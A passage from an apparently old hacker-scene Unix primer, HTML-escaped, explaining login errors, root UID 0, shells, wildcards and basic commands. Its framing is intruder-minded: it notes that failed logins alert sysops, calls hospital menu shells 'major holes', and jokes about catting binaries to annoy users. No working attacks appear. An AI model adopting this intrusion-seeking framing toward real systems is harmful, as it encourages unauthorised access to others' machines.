/&gt;an invalid account name, or a valid account name, but invalid password.&amp;nbsp; It&lt;br /&gt;does not tell you which mistake you made, for obvious reasons.&amp;nbsp; Also,&lt;br /&gt;when you login incorrectly, the error log on the system gets updated, letting&lt;br /&gt;the sysops(s) know something is amiss.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Another error is &quot;Cannot change to home directory&quot; or &quot;Cannot Change&lt;br /&gt;Directory.&quot;&amp;nbsp; This means that no &quot;home directory&quot; which is essentially the&lt;br /&gt;&#39;root&#39; directory for an account, which is the directory you start off in.&lt;br /&gt;On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in&lt;br /&gt;/homedirectory.&amp;nbsp; [Note: The / is used in directories on UNIX, not a \ ].&lt;br /&gt;Most systems will log you off after this, but some tell you that they will&lt;br /&gt;put you in the root directory [ &#39;/&#39;].&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Another error is &quot;No Shell&quot;.&amp;nbsp; This means that no &quot;shell&quot; was defined&lt;br /&gt;for that particular account.&amp;nbsp; The &quot;shell&quot; will be explained later.&amp;nbsp; Some&lt;br /&gt;systems will log you off after this message.&amp;nbsp; Others will tell you that they&lt;br /&gt;will use the regular shell, by saying &quot;Using the bourne shell&quot;, or &quot;Using sh&quot;&lt;br /&gt;&lt;br /&gt;-----------------------------&lt;br /&gt;Accounts In General&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&lt;br /&gt;-----------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This section is to hopefully describe to you the user structure&lt;br /&gt;in the UNIX environment.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ok, think of UNIX having two levels of security: absolute power,&lt;br /&gt;or just a regular user.&amp;nbsp; The ones that have absolute power are those users&lt;br /&gt;at the root level.&amp;nbsp; Ok, now is the time to think in numbers.&amp;nbsp; Unix associates&lt;br /&gt;numbers with account names.&amp;nbsp; each account will have a number.&amp;nbsp; Some will have&lt;br /&gt;the same number.&amp;nbsp; That number is the UID [user-id] of the account.&amp;nbsp; the root&lt;br /&gt;user id is 0.&amp;nbsp; Any account that has a user id of 0 will have root access.&lt;br /&gt;Unix does not deal with account names (logins) but rather the number&lt;br /&gt;associated with them.&amp;nbsp; for instance, If my user-id is 50, and someone else&#39;s&lt;br /&gt;is 50, with both have absolute power of each other, but no-one else.&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;---------------&lt;br /&gt;Shells&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; A shell is an executable program which loads and runs when a user&lt;br /&gt;logs on, and is in the foreground.&amp;nbsp; This &quot;shell&quot; can be any executable prog-&lt;br /&gt;ram, and it is defined in the &quot;passwd&quot; file which is the userfile.&amp;nbsp; Each&lt;br /&gt;login can have a unique &quot;shell&quot;.&amp;nbsp; Ok.&amp;nbsp; Now the shell that we usually will work&lt;br /&gt;with is a command interpreter.&amp;nbsp; A command interpreter is simply something&lt;br /&gt;like MSDOS&#39;s COMMAND.COM, which processes commands, and sends them to the&lt;br /&gt;kernel [operating system].&amp;nbsp; A shell can be anything, as I said before,&lt;br /&gt;but the one you want to have is a command interpreter.&amp;nbsp; Here are the&lt;br /&gt;usual shells you will find:&lt;br /&gt;&lt;br /&gt;sh - This is the bourne shell. It is your basic Unix &quot;COMMAND.COM&quot;.&amp;nbsp; It has&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a &quot;script&quot; language, as do most of the command interpreters on Unix sys-&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tems.&lt;br /&gt;&lt;br /&gt;csh - This is the &quot;C&quot; shell, which will allow you to enter &quot;C&quot; like commands.&lt;br /&gt;ksh - this is the korn shell.&amp;nbsp; Just another command interpreter.&lt;br /&gt;tcsh - this is one, which is used at MIT I believe.&amp;nbsp; Allows command editing.&lt;br /&gt;vsh - visual shell.&amp;nbsp; It is a menu driven deal.&amp;nbsp; Sorta like.. Windows for DOS&lt;br /&gt;rsh - restricted shell OR remote shell.&amp;nbsp; Both Explained later.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; There are many others, including &quot;homemade &quot; shells, which are&lt;br /&gt;programs written by the owner of a unix, or for a specific unix, and they&lt;br /&gt;are not standard.&amp;nbsp; Remember, the shell is just the program you get to use&lt;br /&gt;and when it is done executing, you get logged off.&amp;nbsp; A good example of a&lt;br /&gt;homemade shell is on Eskimo North, a public access Unix.&amp;nbsp; The shell&lt;br /&gt;is called &quot;Esh&quot;, and it is just something like a one-key-press BBS,&lt;br /&gt;but hey, its still a shell.&amp;nbsp; The Number to eskimo north is 206-387-3637.&lt;br /&gt;[206-For-Ever]. If you call there, send Glitch Lots of mail.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Several companies use Word Processors, databases, and other things&lt;br /&gt;as a user shell, to prevent abuse, and make life easier for unskilled computer&lt;br /&gt;operators.&amp;nbsp; Several Medical Hospitals use this kind of shell in Georgia,&lt;br /&gt;and fortunatly, these second rate programs leave major holes in Unix.&lt;br /&gt;Also, a BBS can be run as a shell.&amp;nbsp; Check out Jolnet [312]-301-2100, they&lt;br /&gt;give you a choice between a command interpreter, or a BBS as a shell.&lt;br /&gt;WHen you have a command interpreter, the prompt is usually a:&lt;br /&gt;&amp;nbsp;$&lt;br /&gt;when you are a root user the prompt is usually a:&lt;br /&gt;&amp;nbsp;#&lt;br /&gt;The variable, PS1, can be set to hold a prompt.&lt;br /&gt;For instance, if PS1 is &quot;HI:&quot;, your prompt will be:&lt;br /&gt;&amp;nbsp;HI:&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;SPecial Characters, ETc:&lt;br /&gt;------------------------&lt;br /&gt;&lt;br /&gt;Control-D : End of file.&amp;nbsp; When using mail or a text editor, this will end&lt;br /&gt;the message or text file.&amp;nbsp; If you are in the shell and hit control-d you get&lt;br /&gt;logged off.&lt;br /&gt;&lt;br /&gt;Control-J: On some systems, this is like the enter key.&lt;br /&gt;@ : Is sometimes a &quot;null&quot;&lt;br /&gt;? : This is a wildcard.&amp;nbsp; This can represent a letter. If you specified&lt;br /&gt;&amp;nbsp;&amp;nbsp; something at the command line like &quot;b?b&quot; Unix would look for bob,bib,bub,&lt;br /&gt;&amp;nbsp;&amp;nbsp; and every other letter/number between a-z, 0-9.&lt;br /&gt;* : this can represent any number of characters.&amp;nbsp; If you specified a &quot;hi*&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; it would use &quot;hit&quot;, him, hiiii, hiya, and ANYTHING that starts with&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; hi.&amp;nbsp; &quot;H*l&quot; could by hill, hull, hl, and anything that starts with an&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; H and ends with an L.&lt;br /&gt;&lt;br /&gt;[] - The specifies a range.&amp;nbsp; if i did b[o,u,i]b unix would think: bib,bub,bob&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb.&amp;nbsp; Get the idea? The&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [], ?, and * are usually used with copy, deleting files, and directory&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; listings.&lt;br /&gt;&lt;br /&gt;EVERYTHING in Unix is CASE sensitive.&amp;nbsp; This means &quot;Hill&quot; and &quot;hill&quot; are not&lt;br /&gt;the same thing.&amp;nbsp; This allows for many files to be able to be stored, since&lt;br /&gt;&quot;Hill&quot; &quot;hill&quot; &quot;hIll&quot; &quot;hiLl&quot;, etc. can be different files.&amp;nbsp; So, when using&lt;br /&gt;the [] stuff, you have to specify capital letters if any files you are dealing&lt;br /&gt;with has capital letters.&amp;nbsp; Most everything is lower case though.&lt;br /&gt;&lt;br /&gt;----------------&lt;br /&gt;Commands to use:&lt;br /&gt;----------------&lt;br /&gt;&lt;br /&gt;Now, I will rundown some of the useful commands of Unix.&amp;nbsp; I will act&lt;br /&gt;as if I were typing in the actual command from a prompt.&lt;br /&gt;&lt;br /&gt;ls - this is to get a directory.&amp;nbsp; With no arguments, it will just print out&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; file names in either one column or multi-column output, depending on the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ls program you have access to.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; example:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ls&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hithere&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; runme&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; note.text&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; src&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the -l switch will give you extended info on the files.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ls -l&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rwx--x--x sirhack&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sirh&amp;nbsp;&amp;nbsp;&amp;nbsp; 10990 runme&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; and so on....&lt;br /&gt;&lt;br /&gt;the &quot;rwx--x--x&quot; is the file permission. [Explained Later]&lt;br /&gt;the &quot;sirhack&amp;nbsp;&amp;nbsp;&amp;nbsp; sirh&quot; is the owner of the file/group the file is in.&lt;br /&gt;sirhack = owner, sirh = user-group the file is in [explained later]&lt;br /&gt;the 10990 is the size of the file in bytes.&lt;br /&gt;&quot;runme&quot; is the file name.&lt;br /&gt;The format varies, but you should have the general idea.&lt;br /&gt;&lt;br /&gt;cat - this types out a file onto the screen.&amp;nbsp; should be used on text files.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; only use it with binary files to make a user mad [explained later]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ex:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cat note.txt&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is a sample text file!&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;br /&gt;&lt;br /&gt;cd - change directory .&amp;nbsp; You do it like this: cd /dir/dir1/dir2/dirn.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the dir1/etc.... describes the directory name.&amp;nbsp; Say I want to get&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to the root directory.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ex:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd /&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *ok, I&#39;m there.*&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ls&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sys&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; etc&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; temp&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; work&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; usr&lt;br /&gt;&amp;nbsp;all of the above are directories, lets say.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd /usr&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ls&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sirhack&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; datawiz&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; prophet&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; src&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; violence&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; par&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; phiber&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; scythian&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd /usr/sirhack&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ls&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hithere&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; runme&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; note.text&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; src&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;br /&gt;ok, now, you do not have to enter the full dir name.&amp;nbsp; if you are in&lt;br /&gt;a directory, and want to get into one that is right there [say &quot;src&quot;], you&lt;br /&gt;can type &quot;cd src&quot; [no &quot;/&quot;].&amp;nbsp; Instead of typing &quot;cd /usr/sirhack/src&quot; from the&lt;br /&gt;sirhack dir, you can type &quot;cd src&quot;&lt;br /&gt;&lt;br /&gt;cp - this copies a file. syntax for it is &quot;cp fromfile tofile&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cp runme runme2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ls&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hithere&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; runme&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; note.text&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; src&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; runme2&lt;br /&gt;Full pathnames can be included, as to copy it to another directory.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cp runme /usr/datwiz/runme&lt;br /&gt;&lt;br /&gt;mv - this renames a file. syntax &quot;mv oldname newname&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ mv runme2 runit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ls&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hithere&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; runme&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; note.text&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; src&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; runit&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; files can be renamed into other directories.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ mv runit /usr/datwiz/run&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ls&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hithere&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; runme&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; note.text&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; src&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ls /usr/datwiz&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; runme&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; run&lt;br /&gt;&lt;br /&gt;pwd - gives current directory&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ pwd&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/sirhack&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd src&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ pwd&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/sirhack/src&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd ..&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ pwd&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/sirhack&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [ the &quot;..&quot; means use the name one directory back. ]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd ../datwiz&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [translates to cd /usr/datwiz]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ pwd&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/datwiz&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd $home&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [goto home dir]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ pwd&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/sirhack&lt;br /&gt;&lt;br /&gt;rm - delete a file.&amp;nbsp; syntax &quot;rm filename&quot; or &quot;rm -r directory name&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ rm note.text&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ls&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hithere&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; runme&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; src&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;br /&gt;&lt;br /&gt;write - chat with another user.&amp;nbsp; Well, &quot;write&quot; to another user.&lt;br /&gt;syntax: &quot;write username&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ write scythian&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; scythian has been notified&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Hey Scy! What up??&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Message from scythian on tty001 at 17:32&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; hey!&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; me: So, hows life?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; scy: ok, I guess.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; me: gotta go finish this text file.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; scy: ok&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; me: control-D [to exit program]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;br /&gt;&lt;br /&gt;who [w,who,whodo] - print who is online&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ who&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; login&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; term&amp;nbsp;&amp;nbsp; logontime&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; scythian +&amp;nbsp; tty001 17:20&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; phiberO&amp;nbsp; +&amp;nbsp; tty002 15:50&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sirhack&amp;nbsp; +&amp;nbsp; tty003 17:21&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; datawiz&amp;nbsp; -&amp;nbsp; tty004 11:20&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; glitch&amp;nbsp;&amp;nbsp; -&amp;nbsp; tty666 66:60&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; the &quot;who&quot; commands may vary in the information given.&amp;nbsp; a &quot;+&quot; means&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; you can &quot;write&quot; to their terminal, a &quot;-&quot; means you cannot.&lt;br /&gt;&lt;br /&gt;man - show a manual page entry.&amp;nbsp; syntax &quot;man command name&quot;&amp;nbsp; This is a help&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; program.&amp;nbsp; If you wanted to know how to use... &quot;who&quot; you&#39;d type&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ man who&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WHO(1)&amp;nbsp;&amp;nbsp; xxx......&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; and it would tell you.&lt;br /&gt;&lt;br /&gt;stty - set your terminal characteristics.&amp;nbsp; You WILL have to do &quot;man stty&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; since each stty is different, it seems like.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; an example would be:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ stty -parenb&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to make the data params N,8,1.&amp;nbsp; A lot of Unixes operate at&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e,7,1 by default.&lt;br /&gt;&lt;br /&gt;sz,rz - send and recieve via zmodem&lt;br /&gt;rx,sx - send / recieve via xmodem&lt;br /&gt;rb,sb - send via batch ymodem.&amp;nbsp;&amp;nbsp; These 6 programs may or may not be on a unix.&lt;br /&gt;umodem - send/recieve via umodem.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ sz filename&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ready to send...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ rz filename&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; please send your file....&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ...etc..&lt;br /&gt;&lt;br /&gt;ed - text editor.&amp;nbsp; Usage &quot;ed filename&quot;&amp;nbsp; to create a file that doesn&#39;t&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exist, just enter in &quot;ed filename&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; some versions of ed will give you a prompt, such as &quot;*&quot; others will not&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ed newtext&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * a&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is line 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is line 2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [control-z]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * 1 [to see line one]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is line 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * a [keep adding]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is line 3&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [control-z]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *0a [add after line 0]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is THE first line&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [control-z]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1,4l&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is THE first line&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is line 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is line 2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is line 3&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * w&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 71&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * q&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;br /&gt;&amp;nbsp;&amp;nbsp; The 71 is number of bytes written.&lt;br /&gt;&amp;nbsp;&amp;nbsp; a = append&lt;br /&gt;&amp;nbsp;&amp;nbsp; l = list&lt;br /&gt;&amp;nbsp;&amp;nbsp; # = print line number&lt;br /&gt;&amp;nbsp;&amp;nbsp; w - write&lt;br /&gt;&amp;nbsp;&amp;nbsp; l fname = load fname&lt;br /&gt;&amp;nbsp;&amp;nbsp; s fname = save to fname&lt;br /&gt;&amp;nbsp;&amp;nbsp; w = write to current file&lt;br /&gt;&amp;nbsp;&amp;nbsp; q = quit&lt;br /&gt;mesg - turn write permissions on or off to your terminal (allow chat)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; format &quot;mesg y&quot; or &quot;mesg n&quot;&lt;br /&gt;cc - the C compiler.&amp;nbsp; don&#39;t worry about this one right now.&lt;br 